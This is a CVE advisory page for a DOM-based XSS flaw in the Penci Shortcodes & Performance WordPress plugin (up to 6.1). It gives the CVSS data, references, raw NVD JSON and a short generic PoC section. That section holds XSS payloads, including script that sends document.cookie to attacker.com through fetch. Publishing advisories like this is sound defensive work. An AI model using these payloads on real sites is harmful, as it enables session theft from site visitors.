CVE-2026-24354

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Penci Shortcodes & Performance penci-shortcodes allows DOM-Based XSS.This issue affects Penci Shortcodes & Performance: from n/a through <= 6.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

penci-shortcodes <= 6.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-24354 DOM-Based XSS PoC -->
<!-- 攻击者构造恶意URL，诱导受害者访问 -->

<!-- PoC 1: 通过URL参数注入 -->
<a href="https://vulnerable-site.com/page-with-penci-shortcode/?param=<img src=x onerror=alert(document.cookie)>">Click Here</a>

<!-- PoC 2: 通过URL片段标识符注入 -->
<a href="https://vulnerable-site.com/page-with-penci-shortcode/#<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>">View Post</a>

<!-- PoC 3: 完整的恶意页面示例 -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-24354 PoC</title></head>
<body>
<h1>DOM XSS Attack</h1>
<script>
// 模拟漏洞利用
const maliciousInput = location.hash.slice(1);
document.write('<div>' + maliciousInput + '</div>');
// 实际攻击：窃取cookie
// fetch('https://attacker.com/cookie?c=' + encodeURIComponent(document.cookie));
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24354
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24354
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24354/
[4] VulDB https://vuldb.com/cve/CVE-2026-24354
[5] https://patchstack.com/database/Wordpress/Plugin/penci-shortcodes/vulnerability/wordpress-penci-shortcodes-performance-plugin-6-1-cross-site-scripting-xss-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24354", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:39.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Penci Shortcodes & Performance penci-shortcodes allows DOM-Based XSS.This issue affects Penci Shortcodes & Performance: from n/a through <= 6.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en PenciDesign Penci Shortcodes & Performance penci-shortcodes permite XSS basado en DOM. Este problema afecta a Penci Shortcodes & Performance: desde n/a hasta <= 6.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/penci-shortcodes/vulnerability/wordpress-penci-shortcodes-performance-plugin-6-1-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}